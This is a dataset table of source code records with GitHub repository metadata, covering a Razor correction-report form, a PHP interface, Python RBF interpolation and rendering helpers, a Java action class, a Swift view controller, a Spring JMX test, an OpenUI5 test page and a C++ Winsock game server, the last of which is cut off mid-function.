hexsha stringlengths 40 40 | size int64 5 1.05M | ext stringclasses 98
values | lang stringclasses 21
values | max_stars_repo_path stringlengths 3 945 | max_stars_repo_name stringlengths 4 118 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 368k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 3 945 | max_issues_repo_name stringlengths 4 118 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 134k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 945 | max_forks_repo_name stringlengths 4 135 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 5 1.05M | avg_line_length float64 1 1.03M | max_line_length int64 2 1.03M | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
70eed3fbd8899655951348227030144098f82f66 | 1,326 | cshtml | C# | YeGods.Web/Views/Deity/SendEmail.cshtml | JwanKhalaf/YeGods | e4fdd96300e92b0f50c8ce019f1a2513244994b2 | [
"MIT"
] | null | null | null | YeGods.Web/Views/Deity/SendEmail.cshtml | JwanKhalaf/YeGods | e4fdd96300e92b0f50c8ce019f1a2513244994b2 | [
"MIT"
] | null | null | null | YeGods.Web/Views/Deity/SendEmail.cshtml | JwanKhalaf/YeGods | e4fdd96300e92b0f50c8ce019f1a2513244994b2 | [
"MIT"
] | null | null | null | @model YeGods.ViewModels.EmailReportViewModel
<div class="deity-report">
<div class="wrapper">
<h2>Report a correction</h2>
<p>You are reporting a correction with regards to the <strong>'@Model.EntryName'</strong> entry.</p>
<form asp-controller="Deity" asp-action="SendEmail" method="post" role="form">
<input type="hidden" asp-for="EntrySlug"/>
<input type="hidden" asp-for="EntryName"/>
<input type="hidden" asp-for="IsOfTypeDeity"/>
<div class="form-group">
<label asp-for="ReporterName"></label>
<input asp-for="ReporterName" class="form-control"/>
</div>
<div class="form-group">
<label asp-for="ReporterEmail"></label>
<input asp-for="ReporterEmail" class="form-control"/>
</div>
<div class="form-group">
<label asp-for="Subject"></label>
<input asp-for="Subject" class="form-control"/>
</div>
<div class="form-group">
<label asp-for="Message"></label>
<textarea asp-for="Message" class="form-control" id="email-body" rows="6"></textarea>
</div>
<input type="submit" value="Submit Report" class="btn btn-primary"/>
<a asp-area="" asp-controller="Deity" asp-action="Details" asp-route-slug="@Model.EntrySlug">Cancel</a>
</form>
</div>
</div>
| 35.837838 | 109 | 0.61463 |
dde57af83036eed6e2fa67fb10c8e6972ae776b7 | 617 | php | PHP | Provider/ThemeProviderInterface.php | webeweb/core-bundle | af4c4398cedbf7225bd98d30026a9d238aea34e8 | [
"MIT"
] | 3 | 2018-10-30T15:46:34.000Z | 2020-07-04T20:54:19.000Z | Provider/ThemeProviderInterface.php | webeweb/core-bundle | af4c4398cedbf7225bd98d30026a9d238aea34e8 | [
"MIT"
] | null | null | null | Provider/ThemeProviderInterface.php | webeweb/core-bundle | af4c4398cedbf7225bd98d30026a9d238aea34e8 | [
"MIT"
] | null | null | null | <?php
/*
* This file is part of the core-bundle package.
*
* (c) 2018 WEBEWEB
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace WBW\Bundle\CoreBundle\Provider;
/**
* Theme provider interface.
*
* @author webeweb <https://github.com/webeweb/>
* @package WBW\Bundle\CoreBundle\Provider
*/
interface ThemeProviderInterface extends ProviderInterface {
/**
* Get the view.
*
* @return string|null Returns the view.
* @deprecated since 2.13.0
*/
public function getView(): ?string;
}
| 20.566667 | 74 | 0.677472 |
40b1c77360d79224e2d73e4ee21f8bd430d9d839 | 518 | py | Python | notebookquery/rendering.py | vcdi/notebookquery | a4944686636e9d61f3b50ceec7237e8027bbf078 | [
"BSD-3-Clause"
] | null | null | null | notebookquery/rendering.py | vcdi/notebookquery | a4944686636e9d61f3b50ceec7237e8027bbf078 | [
"BSD-3-Clause"
] | null | null | null | notebookquery/rendering.py | vcdi/notebookquery | a4944686636e9d61f3b50ceec7237e8027bbf078 | [
"BSD-3-Clause"
] | null | null | null | from copy import deepcopy
import nouns
import results
from IPython.core.display import HTML, display
x = nouns.get_x()
t = nouns.Templates(folders=[nouns.BUILTIN_TEMPLATES_FOLDER], preprocess=x)
def get_css():
css = results.resource_text("css/custom.css")
return f"<style>{css}</style>"
def load_css(css):
display(HTML(css))
def render(data):
return t.render(deepcopy(data))
def results_object_repr_html(self):
return render(self)
results.Results._repr_html_ = results_object_repr_html
| 17.862069 | 75 | 0.743243 |
045cdd6c82e50143d8828fdf227bf31b2d977b13 | 574 | java | Java | ressor-core/src/main/java/xyz/ressor/service/action/ExecutorServiceAction.java | dmart28/ressor | 80f4031d2b9f2e185c196bb9cb8dec695c107340 | [
"Apache-2.0"
] | 8 | 2019-10-08T11:26:47.000Z | 2020-02-03T03:07:53.000Z | ressor-core/src/main/java/xyz/ressor/service/action/ExecutorServiceAction.java | dmart28/ressor | 80f4031d2b9f2e185c196bb9cb8dec695c107340 | [
"Apache-2.0"
] | 17 | 2019-10-16T08:53:00.000Z | 2020-01-07T06:44:04.000Z | ressor-core/src/main/java/xyz/ressor/service/action/ExecutorServiceAction.java | dmart28/ressor | 80f4031d2b9f2e185c196bb9cb8dec695c107340 | [
"Apache-2.0"
] | 1 | 2019-10-07T08:54:52.000Z | 2019-10-07T08:54:52.000Z | package xyz.ressor.service.action;
import xyz.ressor.service.RessorService;
import java.util.concurrent.ExecutorService;
import java.util.function.BiPredicate;
public class ExecutorServiceAction extends ServiceBasedAction {
private final BiPredicate<ExecutorService, RessorService> action;
public ExecutorServiceAction(BiPredicate<ExecutorService, RessorService> action) {
super(null);
this.action = action;
}
@Override
public boolean perform(RessorService target) {
return action.test(getExecutorService(), target);
}
}
| 27.333333 | 86 | 0.756098 |
0cc186344e52a624e94b0910847681d7c50bf522 | 7,919 | py | Python | src/RBF.py | KastnerRG/sherlock | ba3e8a81e08315df169bb5dd76d9fdd8f2660583 | [
"CC-BY-4.0"
] | null | null | null | src/RBF.py | KastnerRG/sherlock | ba3e8a81e08315df169bb5dd76d9fdd8f2660583 | [
"CC-BY-4.0"
] | null | null | null | src/RBF.py | KastnerRG/sherlock | ba3e8a81e08315df169bb5dd76d9fdd8f2660583 | [
"CC-BY-4.0"
] | null | null | null | import numpy as np
import scipy
import scipy.linalg as linalg
import scipy.spatial
import scipy.special
import scipy.optimize
import sklearn
def bases(name):
if name == 'linear':
f = lambda x: x
elif name == 'cubic':
f = lambda x: x**3
elif name == 'multiquadric':
f = lambda x, s: np.sqrt((1.0/s*x)**2 + 1)
elif name == 'thin_plate':
f = lambda x: scipy.special.xlogy(x**2, x)
elif name == 'gaussian':
f = lambda x, s: np.exp(-(1.0/s*x)**2)
elif name == 'inverse_multiquadric':
f = lambda x, s: 1.0/np.sqrt((1.0/s*x)**2 + 1)
else:
raise ValueError('Basis not recognised.')
return f
class RbfInterpolator:
"""
Standard RBF interpolation / kernel smoothing.
Written to replace Scipy's Rbf class, which has a silly interface and is difficult to modify
Also includes optional optimization of the "smooth" parameter
Author: Alric Althoff -- 2018
"""
def __init__(self, norm='euclidean', rbf=lambda r: r, smooth=0.0, optimize_smoothing=False):
self.norm = norm
self.rbf = rbf
self.smooth = smooth
self.optimize_smoothing = optimize_smoothing
def _opt_smooth(self):
# We're just using cross-validation and retraining the whole model.
# Likely a lot of improvements possible
def obj(x):
ss = sklearn.model_selection.ShuffleSplit(n_splits=5, test_size=.3)
for tri, tei in ss.split(self._X_train):
K = scipy.spatial.distance.squareform(scipy.spatial.distance.pdist(self._X_train[tri,:], self.norm))
K = self.rbf(K)
K -= np.eye(K.shape[0]) * x
nodes = None
rcond = 1/np.linalg.cond(K)
if rcond > 1e-10: # If the matrix is not singular, (i.e. most of the time)
try:
nodes = linalg.solve(K, self._y_train[tri], sym_pos=True)
except linalg.LinAlgError: pass
if nodes is None:
nodes = linalg.lstsq(K, self._y_train[tri])[0]
K = scipy.spatial.distance.cdist(self._X_train[tei,:], self._X_train[tri,:], self.norm)
K = self.rbf(K)
return np.sum((self._y_train[tei] - np.dot(K, nodes))**2)
opt_param = scipy.optimize.minimize_scalar(obj, bounds=[.0001,100], bracket=[0.0001,100])
self.smooth = opt_param.x
def _make_kernel(self, new_X=None):
if new_X is None:
K = scipy.spatial.distance.squareform(scipy.spatial.distance.pdist(self._X_train, self.norm))
else:
K = scipy.spatial.distance.cdist(new_X, self._X_train, self.norm)
K = self.rbf(K)
if new_X is None and self.smooth != 0:
K -= np.eye(K.shape[0])*self.smooth
return K
def fit(self, X, y):
self._X_train = X
self._y_train = y
if len(self._X_train.shape) == 1:
self._X_train = self._X_train[:,np.newaxis]
if self.optimize_smoothing:
self._opt_smooth()
self.K = self._make_kernel()
nodes = None
rcond = 1/np.linalg.cond(self.K)
if rcond > 1e-10:
try:
self.nodes = linalg.solve(self.K, self._y_train, sym_pos=True)
except linalg.LinAlgError: pass
if nodes is None:
self.nodes = linalg.lstsq(self.K, self._y_train)[0]
def predict(self, X):
if len(X.shape) == 1:
X = X[:,np.newaxis]
K = self._make_kernel(X)
return np.dot(K, self.nodes)
class RBFConsensus:
def __init__(self,
sample_frac=.6,
subsample_rounds=32,
radial_basis_function=lambda x:x,
norm='euclidean',
copy_data=True,
categorical_features=None):
self.sample_frac = sample_frac # What fraction of data to sample for each subsampling round
self.subsample_rounds = subsample_rounds # How many rounds
self.radial_basis_function = radial_basis_function # which interpolator ("linear" with euclidean norm is linear interpolation)
self.norm = norm # Which distance function is appropriate?
self.copy_data = copy_data # Should input data be copied, or refed?
self.N = None
self.trained_smooth_param = None
self.categorical_features = categorical_features
def _fit_one(self, X, y, optimize_smoothing=False):
self.rbfis_by_dim = []
for dim in range(y.shape[1]):
# Use previously optimized smoothing unless optimize_smoothing == True
if self.trained_smooth_param is None:
rbfi = RbfInterpolator(rbf=self.radial_basis_function, norm=self.norm, optimize_smoothing=optimize_smoothing)
else:
rbfi = RbfInterpolator(smooth=self.trained_smooth_param[dim], rbf=self.radial_basis_function, norm=self.norm, optimize_smoothing=optimize_smoothing)
rbfi.fit(X,y[:,dim])
self.rbfis_by_dim.append(rbfi)
if optimize_smoothing: # This means we have optimized params available
self.trained_smooth_param = [self.rbfis_by_dim[dim].smooth for dim in range(y.shape[1])]
return self
def _predict_one(self, X):
if len(X.shape) == 1:
Xp = X[:,np.newaxis]
else:
Xp = X
pred = np.empty([Xp.shape[0], self._y_train.shape[1]])
for dim in range(len(self.rbfis_by_dim)):
pred[:,dim] = self.rbfis_by_dim[dim].predict(X).squeeze()
return pred
def fit(self, X, y):
self._y_train = y.copy() if self.copy_data else y
self._X_train = X.copy() if self.copy_data else X
if len(self._y_train.shape) == 1:
self._y_train = self._y_train[:,np.newaxis]
if len(self._X_train.shape) == 1:
self._X_train = self._X_train[:,np.newaxis]
self.N = X.shape[0]
def predict(self, X, return_std=False):
if self.N is None:
raise RuntimeError('`.fit` must be called before `.predict`')
N_samp = int(np.ceil(self.N * self.sample_frac))
y_pred = np.empty([X.shape[0], self._y_train.shape[1], self.subsample_rounds])
# np.random.seed(7)
for i in range(self.subsample_rounds):
r = np.random.permutation(self.N)[:N_samp]
y_sub = self._y_train[r,:]
X_sub = self._X_train[r,:]
self._fit_one(X_sub, y_sub)
y_pred[:,:,i] = self._predict_one(X)
y_out = y_pred.mean(axis=2)
if return_std:
y_std = np.sqrt(y_pred.var(axis=2).sum(axis=1))
return y_out, y_std
else:
return y_out
def RBF_unit_test():
import matplotlib.pyplot as plt
import time
# Generate synthetic 1-d data
N = 300
lo = -10.0
hi = 10.0
t = np.linspace(lo,hi,N)
y = np.sin(t*.5) - .08*t**2 + np.random.randn(t.shape[0])*.05*(t-lo)
# Messy fitting
model = RBFConsensus(radial_basis_function=lambda x:bases('inverse_multiquadric')(x,.2))
t0 = time.time()
model.fit(t,y)
y_pred, y_std = model.predict(t, return_std=True)
print(time.time()-t0)
y_pred = y_pred.squeeze()
y_std = y_std.squeeze()
plt.fill_between(t, y_pred - 5*y_std, y_pred + 5*y_std, alpha=0.15, color='k')
plt.scatter(t,y)
plt.plot(t, y_pred, color='red')
plt.show()
| 32.858921 | 164 | 0.56194 |
143857608ff610a47b234fdea0180c242eedff3d | 5,817 | swift | Swift | src/DReversi/DReversi/TItle/DRTitleViewController.swift | DIO0550/DReversi-iOS | 43a392cd960f378ff2cc75261c8dad3f822edf73 | [
"MIT"
] | 2 | 2020-03-13T15:18:04.000Z | 2021-01-14T08:04:19.000Z | src/DReversi/DReversi/TItle/DRTitleViewController.swift | DIO0550/DReversi-iOS | 43a392cd960f378ff2cc75261c8dad3f822edf73 | [
"MIT"
] | 21 | 2020-03-07T13:02:35.000Z | 2020-05-09T13:55:51.000Z | src/DReversi/DReversi/TItle/DRTitleViewController.swift | DIO0550/DReversi-iOS | 43a392cd960f378ff2cc75261c8dad3f822edf73 | [
"MIT"
] | null | null | null | //
// DRTitleViewController.swift
// DReversi
// タイトル
// Created by DIO on 2019/12/13.
// Copyright © 2019 DIO. All rights reserved.
//
import UIKit
import DReversiUtil
import DReversiControl
enum DRTitleDisplayButtonType {
case LEVEL
case STONE
}
class DRTitleViewController: UIViewController {
@IBOutlet weak var titleLabel: UILabel!
@IBOutlet weak var levelLabel: UILabel!
@IBOutlet weak var easyButton: UIButton!
@IBOutlet weak var normalButton: UIButton!
@IBOutlet weak var hardButton: UIButton!
@IBOutlet weak var stoneLabel: UILabel!
@IBOutlet weak var blackButton: UIButton!
@IBOutlet weak var whiteButton: UIButton!
@IBOutlet weak var backButton: UIButton!
@IBOutlet weak var levelButtonView: UIView!
@IBOutlet weak var stoneButtonView: UIView!
var displayButtonType: DRTitleDisplayButtonType = .LEVEL {
didSet {
switch self.displayButtonType {
case .LEVEL:
self.levelButtonView.isUserInteractionEnabled = true
self.stoneButtonView.isUserInteractionEnabled = false
case .STONE:
self.levelButtonView.isUserInteractionEnabled = false
self.stoneButtonView.isUserInteractionEnabled = true
}
}
}
var isAnimating: Bool = false
private var gameLevel: DReversiUtilConst.GameLevel = .NORMAL
private var playerStone: DRStoneType = .BLACK_STONE
override func viewDidLoad() {
super.viewDidLoad()
self.setupTitle()
}
override func viewDidLayoutSubviews() {
super.viewDidLayoutSubviews()
self.setupTitle()
self.adjustSecondControls()
}
@IBAction func touchLevelButton(_ sender: Any) {
switch sender as! UIButton {
case self.easyButton:
self.gameLevel = .EASY
case self.normalButton:
self.gameLevel = .NORMAL
case self.hardButton:
self.gameLevel = .HARD
default:
self.gameLevel = .NORMAL
}
self.levelControlFadeOutAnimation()
self.displayButtonType = .STONE
}
@IBAction func touchBackButton(_ sender: Any) {
self.stoneControlFadeOutAnimation()
self.displayButtonType = .LEVEL
}
@IBAction func touchStoneButton(_ sender: Any) {
self.playerStone = (self.blackButton == sender as? UIButton ?? nil) ? .BLACK_STONE : .WHITE_STONE
self.performSegue(withIdentifier: DRGameViewPushSegue.DRGameViewPushSegueIdentifier, sender: self)
}
@IBAction func unwindBackTitle(segue: UIStoryboardSegue) {
// do nothing
}
override func prepare(for segue: UIStoryboardSegue, sender: Any?) {
if !(segue.source is DRTitleViewController) || !(segue.destination is DRGameViewController) {
return
}
let titleVC = segue.source as! DRTitleViewController
let gameVC = segue.destination as! DRGameViewController
gameVC.gameLevel = titleVC.gameLevel
gameVC.playerStone = titleVC.playerStone
gameVC.comStone = titleVC.playerStone.reverse()
}
}
extension DRTitleViewController {
private func setupTitle() {
let blackShadow: NSShadow = DRTitleViewController.titleBlackShadow()
let whiteShadow: NSShadow = DRTitleViewController.titleWhiteShadow()
let fontSize = self.titleLabel.frame.size.width * DRConstants.DRTitleFontSizeRatio
guard let length:Int = self.titleLabel.text?.count else { return }
guard var attributes = self.titleLabel.attributedText?.attributes(at: 0, effectiveRange: nil) else { return }
let font = UIFont.init(name: DRConstants.DRTitleFontName, size: fontSize)
attributes[.font] = font
let attributeTitleLabel: NSMutableAttributedString = NSMutableAttributedString()
for i in 0 ..< length {
let isEvenNumber: Bool = (i % 2) == 0
let textColor: UIColor = isEvenNumber ? .black : .white
let shadow: NSShadow = isEvenNumber ? whiteShadow : blackShadow
attributes[.foregroundColor] = textColor
attributes[.shadow] = shadow
guard let char = self.titleLabel.text?.stringAtIndex(index: i) else { return }
let attributeChar = NSAttributedString.init(string: char, attributes: attributes)
attributeTitleLabel.append(attributeChar)
}
self.titleLabel.attributedText = attributeTitleLabel
}
/// レベル選択後のボタンを調整
private func adjustSecondControls() {
self.stoneLabel.center.x += self.view.frame.width * 3 / 4
self.stoneLabel.alpha = 0
self.blackButton.center.x += self.view.frame.width * 3 / 4
self.blackButton.alpha = 0
self.whiteButton.center.x += self.view.frame.width * 3 / 4
self.whiteButton.alpha = 0
self.backButton.center.x += self.view.frame.width * 3 / 4
self.backButton.alpha = 0
}
static private func titleWhiteShadow() -> NSShadow {
let whiteShadow: NSShadow = DRTitleViewController.titleShadow()
whiteShadow.shadowColor = UIColor.white
return whiteShadow
}
static private func titleBlackShadow() -> NSShadow {
let blackShadow: NSShadow = DRTitleViewController.titleShadow()
blackShadow.shadowColor = UIColor.black
return blackShadow
}
static private func titleShadow() -> NSShadow {
let shadow: NSShadow = NSShadow.init()
shadow.shadowBlurRadius = DRConstants.DRTitleShadowBlurRadius
shadow.shadowOffset = DRConstants.DRTitleShadowOffset
return shadow
}
}
| 34.217647 | 117 | 0.648788 |
83f434107dc3e1ae91a605f0b3fdde69c5037f91 | 1,865 | java | Java | spring-context/src/test/java/org/springframework/jmx/export/assembler/MethodExclusionMBeanInfoAssemblerNotMappedTests.java | yangfancoming/spring-5.1.x | db4c2cbcaf8ba58f43463eff865d46bdbd742064 | [
"Apache-2.0"
] | null | null | null | spring-context/src/test/java/org/springframework/jmx/export/assembler/MethodExclusionMBeanInfoAssemblerNotMappedTests.java | yangfancoming/spring-5.1.x | db4c2cbcaf8ba58f43463eff865d46bdbd742064 | [
"Apache-2.0"
] | null | null | null | spring-context/src/test/java/org/springframework/jmx/export/assembler/MethodExclusionMBeanInfoAssemblerNotMappedTests.java | yangfancoming/spring-5.1.x | db4c2cbcaf8ba58f43463eff865d46bdbd742064 | [
"Apache-2.0"
] | 1 | 2021-06-05T07:25:05.000Z | 2021-06-05T07:25:05.000Z |
package org.springframework.jmx.export.assembler;
import java.util.Properties;
import javax.management.MBeanAttributeInfo;
import javax.management.modelmbean.ModelMBeanAttributeInfo;
import javax.management.modelmbean.ModelMBeanInfo;
import org.junit.Test;
import static org.junit.Assert.*;
public class MethodExclusionMBeanInfoAssemblerNotMappedTests extends AbstractJmxAssemblerTests {
protected static final String OBJECT_NAME = "bean:name=testBean4";
@Test
public void testGetAgeIsReadOnly() throws Exception {
ModelMBeanInfo info = getMBeanInfoFromAssembler();
ModelMBeanAttributeInfo attr = info.getAttribute(AGE_ATTRIBUTE);
assertTrue("Age is not readable", attr.isReadable());
assertTrue("Age is not writable", attr.isWritable());
}
@Test
public void testNickNameIsExposed() throws Exception {
ModelMBeanInfo inf = (ModelMBeanInfo) getMBeanInfo();
MBeanAttributeInfo attr = inf.getAttribute("NickName");
assertNotNull("Nick Name should not be null", attr);
assertTrue("Nick Name should be writable", attr.isWritable());
assertTrue("Nick Name should be readable", attr.isReadable());
}
@Override
protected String getObjectName() {
return OBJECT_NAME;
}
@Override
protected int getExpectedOperationCount() {
return 11;
}
@Override
protected int getExpectedAttributeCount() {
return 4;
}
@Override
protected String getApplicationContextPath() {
return "org/springframework/jmx/export/assembler/methodExclusionAssemblerNotMapped.xml";
}
@Override
protected MBeanInfoAssembler getAssembler() throws Exception {
MethodExclusionMBeanInfoAssembler assembler = new MethodExclusionMBeanInfoAssembler();
Properties props = new Properties();
props.setProperty("bean:name=testBean5", "setAge,isSuperman,setSuperman,dontExposeMe");
assembler.setIgnoredMethodMappings(props);
return assembler;
}
}
| 28.257576 | 96 | 0.789276 |
f0f2a37621d506ecbcd85a05fbd5b5f7cbe12b96 | 1,211 | html | HTML | src/sap.ui.layout/test/sap/ui/layout/demokit/sample/SimpleForm471/test/FormSampleJourney.qunit.html | ramkumar127/openui5 | c521043c54ed0cf23acfee91b88876293c4edf5d | [
"Apache-2.0"
] | 1 | 2022-02-02T01:39:20.000Z | 2022-02-02T01:39:20.000Z | src/sap.ui.layout/test/sap/ui/layout/demokit/sample/SimpleForm471/test/FormSampleJourney.qunit.html | ramkumar127/openui5 | c521043c54ed0cf23acfee91b88876293c4edf5d | [
"Apache-2.0"
] | null | null | null | src/sap.ui.layout/test/sap/ui/layout/demokit/sample/SimpleForm471/test/FormSampleJourney.qunit.html | ramkumar127/openui5 | c521043c54ed0cf23acfee91b88876293c4edf5d | [
"Apache-2.0"
] | 1 | 2022-02-02T01:39:21.000Z | 2022-02-02T01:39:21.000Z | <!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Opa sample for FormSamples</title>
<script id="sap-ui-bootstrap" src="../../../../../../../../resources/sap-ui-core.js"
data-sap-ui-resourceroots='{
"samples" : "../../",
"view" : "./view"
}'></script>
<script>
(function () {
jQuery.sap.require("sap.ui.thirdparty.qunit");
jQuery.sap.require("sap.ui.qunit.qunit-css");
jQuery.sap.require("sap.ui.test.Opa5");
jQuery.sap.require("sap.ui.test.opaQunit");
var Opa = sap.ui.test.Opa;
sap.ui.test.Opa5.extendConfig({
viewNamespace : "sap.ui.layout.sample.SimpleForm471.",
arrangements : new sap.ui.test.Opa5({
iStartTheFormSample : function () {
return this.iStartMyAppInAFrame("../../../../../../../../../demokit/explored.html#/sample/sap.ui.layout.sample.SimpleForm471/preview");
}
})
});
jQuery.sap.require("samples.tests.formTests");
})();
</script>
</head>
<body>
<h1 id="qunit-header">Opa sample for FormSamples</h1>
<h2 id="qunit-banner"></h2>
<h2 id="qunit-userAgent"></h2>
<ol id="qunit-tests"></ol>
<div id="qunit-fixture"></div>
</body>
</html>
| 26.326087 | 142 | 0.601982 |
96c7ea2fbd3316cc8dcd6376e54bdcde5d5b92d0 | 5,754 | cpp | C++ | YaMang/YaMangServer/YaMangServer/YamangServer.cpp | zrma/2014-01-HUDIGAME-EunJaRim | 3fd9785f8d33b255c6c4b5800bae5aafce666be4 | [
"MIT"
] | null | null | null | YaMang/YaMangServer/YaMangServer/YamangServer.cpp | zrma/2014-01-HUDIGAME-EunJaRim | 3fd9785f8d33b255c6c4b5800bae5aafce666be4 | [
"MIT"
] | null | null | null | YaMang/YaMangServer/YaMangServer/YamangServer.cpp | zrma/2014-01-HUDIGAME-EunJaRim | 3fd9785f8d33b255c6c4b5800bae5aafce666be4 | [
"MIT"
] | null | null | null | #include "stdafx.h"
#include "YaMangServer.h"
#include "Config.h"
#include "PacketType.h"
#include "Exception.h"
#include "ClientSession.h"
#include "DatabaseJobManager.h"
#include "DbHelper.h"
#include "tinyxml.h"
#include "xpath_static.h"
#include "RoomManager.h"
#include "UnitStatus.h"
#include "MacroSet.h"
// 자 Alloc버그를 잡아보자... 지만 이미 default로 켜져있다는데...
#ifdef _DEBUG
#define _HAS_ITERATOR_DEBUGGING 1
#define _SECURE_SCL 1
#endif
#pragma comment(lib,"ws2_32.lib")
__declspec( thread ) int LThreadType = -1;
typedef ProducerConsumerQueue<SOCKET, 100> PendingAcceptList;
static int LISTEN_PORT = 9001;
int _tmain( int argc, _TCHAR* argv[] )
{
_CrtSetDbgFlag( _CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF );
// _CrtSetBreakAlloc( 611 );
// _CrtSetBreakAlloc( #### );
// 메모리 릭을 체크하려면 위의 #### 칸에 릭 난 곳 { 숫자 } 표기 된 숫자를 넣어주면 됩니다.
/// crash 발생시 dump 남기기 위해서
// Exception.cpp 쪽에서 전역 함수로 선언 되어 있음
SetUnhandledExceptionFilter( ExceptionFilter );
TiXmlDocument document = TiXmlDocument( "./Config/ServerConfig.xml" );
bool m_LoadSuccess = document.LoadFile();
if ( m_LoadSuccess )
{
std::string port;
port = TinyXPath::S_xpath_string( document.RootElement( ), "/server/port/text()" ).c_str( );
LISTEN_PORT = std::stoi( port );
LogD( "Loaded Port Number :%s \n", port.c_str( ) );
}
else
{
LogD( "PORT Load Fail! \n" );
}
// 유닛 데이터 로드
UnitStatus::LoadUnitStatus();
LThreadType = THREAD_MAIN;
/// Manager Init
// 각 매니저들은 각 헤더파일들에 extern 으로 선언 되어 있음
// 여기서 new 해줌
g_RoomManager = new RoomManager();
g_DatabaseJobManager = new DatabaseJobManager();
/// DB Helper 초기화
if ( false == DbHelper::Initialize( DB_CONN_STR ) )
{
return -1;
}
/// 윈속 초기화
// 윈도우 소켓 사용시 WSAStartup() 함수를 호출해야 winsock.dll을 이용 가능하다
// 사용 시 유의점 : WSAStartup() / WSACleanup() 함수를 짝으로 맞춰 사
// ws2_32.dll 파일 필요
WSADATA wsa;
if ( WSAStartup( MAKEWORD( 2, 2 ), &wsa ) != 0 )
{
return -1;
}
// AF_INET : The Internet Protocol version 4 (IPv4) address family.
// SOCK_STREAM : TCP
// socket protocol = 0
// LAW SOCKET을 사용할 때 사용한다. 주로 사용 되지 않아 0이나 IPPROTO_TCP / IPPROTO_UPT로 사용 된다.
SOCKET listenSocket = socket( AF_INET, SOCK_STREAM, 0 );
if ( listenSocket == INVALID_SOCKET )
{
return -1;
}
// 소켓의 세부 사항 조절 - getsockopt / setsockopt
// http://vinchi.tistory.com/246 참조
// SOL_SOCKET 레벨에서 SO_REUSEADDR 사용 - 이미 사용 된 주소를 재사용(bind) 하도록 한다.
// -> Address already in use 방지
int opt = 1;
setsockopt( listenSocket, SOL_SOCKET, SO_REUSEADDR, (const char*)&opt, sizeof( int ) );
/// bind
SOCKADDR_IN serveraddr;
ZeroMemory( &serveraddr, sizeof( serveraddr ) );
serveraddr.sin_family = AF_INET; // IPv4
serveraddr.sin_port = htons( LISTEN_PORT );
serveraddr.sin_addr.s_addr = htonl( INADDR_ANY ); // 0.0.0.0
// socket() 함수로 소켓을 생성 이후에 소켓에 주소 값을 설정하는 함수가 bind()
int ret = bind( listenSocket, (SOCKADDR*)&serveraddr, sizeof( serveraddr ) );
if ( ret == SOCKET_ERROR )
{
return -1;
}
/// listen
// SOMAXCONN = BackLog size : 연결 요청 대기 큐의 사이즈
ret = listen( listenSocket, SOMAXCONN );
if ( ret == SOCKET_ERROR )
{
return -1;
}
/// accepting list
// producer consumer queue
PendingAcceptList pendingAcceptList;
/// Client Logic + I/O Thread
// 스레드 쪽에 이벤트를 전달하기 위해서 hEvent를 전달 인자로 대입
DWORD dwThreadId;
HANDLE hThread = (HANDLE)_beginthreadex( NULL, 0, ClientHandlingThread, (LPVOID)&pendingAcceptList, 0, (unsigned int*)&dwThreadId );
if ( hThread == NULL )
{
return -1;
}
/// DB Thread
HANDLE hDbThread = (HANDLE)_beginthreadex( NULL, 0, DatabaseHandlingThread, NULL, 0, (unsigned int*)&dwThreadId );
if ( hDbThread == NULL )
{
return -1;
}
/// accept loop
while ( true )
{
SOCKET acceptedSocket = accept( listenSocket, NULL, NULL );
if ( acceptedSocket == INVALID_SOCKET )
{
printf( "accept: invalid socket\n" );
continue;
}
// accept 한것을 전달
pendingAcceptList.Produce( acceptedSocket );
}
CloseHandle( hThread );
CloseHandle( hDbThread );
// 윈속 종료
WSACleanup();
// sqlite3_close
DbHelper::Finalize();
delete g_RoomManager;
delete g_DatabaseJobManager;
return 0;
}
unsigned int WINAPI ClientHandlingThread( LPVOID lpParam )
{
// 이 스레드는 클라이언트 핸들링 스레드
LThreadType = THREAD_CLIENT;
PendingAcceptList* pAcceptList = (PendingAcceptList*)lpParam;
/// Timer
HANDLE hTimer = CreateWaitableTimer( NULL, FALSE, NULL );
if ( hTimer == NULL )
{
return -1;
}
LARGE_INTEGER liDueTime;
liDueTime.QuadPart = -10000000; ///< 1초 후부터 동작, SetWaitabletimer 시간 단위 = 100 나노초
// 0.1초 주기로 TimerProc 함수 실행 하도록 콜백 설정
if ( !SetWaitableTimer( hTimer, &liDueTime, 10, TimerProc, NULL, TRUE ) )
{
return -1;
}
while ( true )
{
SOCKET acceptSock = NULL;
/// 새로 접속한 클라이언트 처리
if ( pAcceptList->Consume( acceptSock, false ) )
{
/// 소켓 정보 구조체 할당과 초기화
ClientSession* client = g_RoomManager->CreateClient( acceptSock );
SOCKADDR_IN clientaddr;
int addrlen = sizeof( clientaddr );
// 소켓으로부터 클라이언트 네임(sockaddr 주소값)을 얻어옴
getpeername( acceptSock, (SOCKADDR*)&clientaddr, &addrlen );
// 클라 접속 처리
if ( false == client->OnConnect( &clientaddr ) )
{
LogD( "[Disconnected from:]YaMangServer ClientHandlingThread \n" );
client->Disconnect();
}
continue; ///< 다시 대기로
}
/// 최종적으로 클라이언트들에 쌓인 send 요청 처리
g_RoomManager->FlushClientSend( );
/// APC Queue에 쌓인 작업들 처리
SleepEx( INFINITE, TRUE );
}
CloseHandle( hTimer );
return 0;
}
unsigned int WINAPI DatabaseHandlingThread( LPVOID lpParam )
{
LThreadType = THREAD_DATABASE;
g_DatabaseJobManager->ExecuteDatabaseJobs();
return 0;
}
void CALLBACK TimerProc( LPVOID lpArg, DWORD dwTimerLowValue, DWORD dwTimerHighValue )
